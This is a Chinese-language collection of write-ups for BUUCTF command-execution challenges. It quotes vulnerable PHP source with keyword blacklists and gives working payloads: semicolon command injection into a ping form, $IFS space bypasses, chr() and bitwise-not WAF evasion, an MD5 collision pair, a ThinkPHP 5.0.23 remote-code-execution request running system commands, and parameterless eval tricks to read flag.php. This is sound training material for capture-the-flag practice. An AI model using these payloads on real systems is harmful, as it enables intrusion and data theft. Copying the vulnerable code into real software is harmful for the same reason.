BUUCTF 命令執行


[ACTF2020 新生賽]Exec

考點:命令執行
1、先ping 127.0.0.1,能ping通
2、ping 127.0.0.1;cat /flag或127.0.0.1 & cat /flag

[GXYCTF2019]Ping Ping Ping

考點:命令執行
1、ping 127.0.0.1,可以

127.0.0.1 | ls

回顯不能有空格,空格繞過一般是:$IFS${IFS}$IFS$一位數字,但是這里試了$IFS$1才行

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){#不能有空格
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有`.*f.*l.*a.*g`
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>


正則表達式 ,參考:https://deerchao.cn/tutorials/regex/regex.htm

元字符.:表示匹配除了換行符\n以外的任意字符
元字符*:表示多次匹配*前面的內容
.*連在一下,表示匹配任意次的不包含換行符的字符

黑名單繞過:利用變量拼接
payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12。

[RoarCTF 2019]Easy Calc

考點:命令執行

前置知識

1、利用PHP的字符串解析特性Bypass
2、取反操作繞過'

<?php
echo urlencode(~'/')."\n";#%D0
echo ~urldecode('%d0')."\n";#/
?>

~%d0就是字符串/

解題

1、F12

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("這啥?算不來!");
            }
        })
        return false;
    })
</script>

提示我們設置了WAF,傳入非數字值和運算符,直接403
DV9qQP.png
我們在num前加個%20,現在變量成了(space)num,PHP在接受請求參數時會忽略開頭的空格,就是?%20num=a相當於$_GET['num']=a。
訪問calc.php

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

黑名單里過濾里一些關鍵字符
先查看根目錄下有哪些文件,由於過濾了',用chr()轉換繞過,或者用~取反

?%20num=1;var_dump(scandir(chr(47)))

DVpLE4.png
發現有一個f1agg文件,用file_get_contents讀取一下

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) 
?%20num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))

還有另一種解法:http請求走私
協議層的攻擊——HTTP請求走私
http://www.feidao.site/wordpress/index.php/2019/11/23/roarctf-2019easy-calc/
https://www.cnblogs.com/chrysanthemum/p/11757363.html
DVe1X9.png

[安洵杯 2019]easy_web

考點:md5強比較、命令執行

解題

1、F12,發現md5 is funny ~
對url的img參數值解密,得到:555.png
嘗試對index.php,按解密順序,逆一下,得到:TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,替換原img參數的值

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

2、代碼審計

echo $cmd;
echo `$cmd`;

關注這2個地方
md5強相等,直接搜一個

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

hackbar奇怪沒出來;啥都不干,用bp抓一個POST的包,再改包,查看根目錄下有哪些文件,發現有過濾空格
DZQUGq.png
DZQ4sO.png

[BJDCTF 2nd]old-hack

考點:ThinkPHP5.0.23 RCE

解題

D3eSZ6.png
首頁提示“thinkphp5”,搜到一篇文章:Thinkphp5 RCE總結
先確定版本

隨便傳入1個值,讓它報錯,發現是thinkphp5.0.23

ThinkPHP5.0.*版本代碼執行漏洞
直接用payload
查看根目錄

?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /

讀flag

?s=captcha
POST:__method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[GXYCTF2019]禁止套娃

考點:.git泄露、無參數RCE

解題:

wscan掃到了/.git目錄

利用GitHack下載到源碼

index.php:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析源碼得出:
1、flag在flag.php
2、GET傳參exp
3、過濾了data://、filter://、php://、phar://這些偽協議,就不能用偽協議讀flag.php
4、preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
用preg_replace()替換匹配到的字符為NULL空。
參考:無參數讀文件和RCE總結

關於(?R)?

(?R)?菜雞在這里糾結了很長時間,還是理解不了
傳入的exp參數只能包含小寫字母、,、_、(),還要以;結尾
5、過濾了一些函數,像et,file_get_contents()就不能用

無參數RCE要用到的幾個函數:

  • print_r(scandir('.'));查看當前目錄下的所有文件名
  • localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。
  • current() 函數返回數組中的當前元素(單元),默認取第一個值,和pos()一樣

先查看當前目錄下的所有文件名,但是這題不能有參數,找一個代替'.'的東西

print_r(scandir(current(localeconv())));打印出當前目錄下文件

?exp=print_r(scandir(current(localeconv())));

flag.php在倒數第二個,直接用next(array_reverse());
paylaod:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

解題參考:

https://www.gem-love.com/ctf/530.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.lovexyu.xyz/art.php?art_id=58
https://www.suk1.top/2020/02/05/GXY套娃/#array-rand-array-flip


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM